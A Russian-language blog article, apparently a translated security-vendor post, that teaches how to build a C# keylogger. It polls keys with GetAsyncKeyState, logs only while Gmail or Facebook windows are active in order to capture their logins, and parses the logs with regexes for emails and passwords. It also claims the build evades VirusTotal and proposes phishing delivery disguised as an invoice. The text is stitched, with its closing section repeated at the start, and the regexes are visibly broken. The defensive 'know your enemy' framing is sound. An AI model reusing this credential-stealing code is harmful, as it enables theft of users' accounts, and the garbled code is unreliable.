Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.


Бесплатно и полностью не обнаружим


В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.


Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?


Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.



В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.


Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов , чтобы выявить потенциально вредоносные действия.


В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

Хакерский мир можно условно разделить на три группы атакующих:


1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.


2) «Byuers» - не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.


3) «Black Hat Сoders» - гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.


Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.


Зачем ИБ-персоналу эти сомнительные навыки?


Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.


Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.


Кейлогер


Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.


Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.



Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:


1. 2. 3. public static extern int GetAsyncKeyState(Int32 i);

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN :


Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:


1. while (true) 2. { 3. Thread.Sleep(100); 4. for (Int32 i = 0; i < 255; i++) 5. { 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. { 9. Console.WriteLine((Keys)i); 10. 11. } 12. } 13. }

Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.


Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.


Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.


Вторая версия кода:


1. while (true) 2. { 3. IntPtr handle = GetForegroundWindow(); 4. if (GetWindowText(handle, buff, chars) > 0) 5. { 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up ")) 8. { 9. //проверка клавиатуры 10. } 11. } 12. Thread.Sleep(100); 13. }

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.


Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.


Еще более умный кейлогер


Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.


Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:


1. //Ищем почтовый адрес 2. ^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$ 3. 4. 5. //Ищем пароль 6. (?=^.{6,}$)(?=.*\d)(?=.*)

Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.


Для C# это выглядит так:


1. Regex re = new Regex(@"^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$"); 2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*\d)(?=.*)"); 3. string email = "[email protected]"; 4. string pass = "abcde3FG"; 5. Match result = re.Match(email); 6. Match result2 = re2.Match(pass);

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.


Бесплатно и полностью не обнаружим


В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.


Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?


Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.



В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.


Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов , чтобы выявить потенциально вредоносные действия.


В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.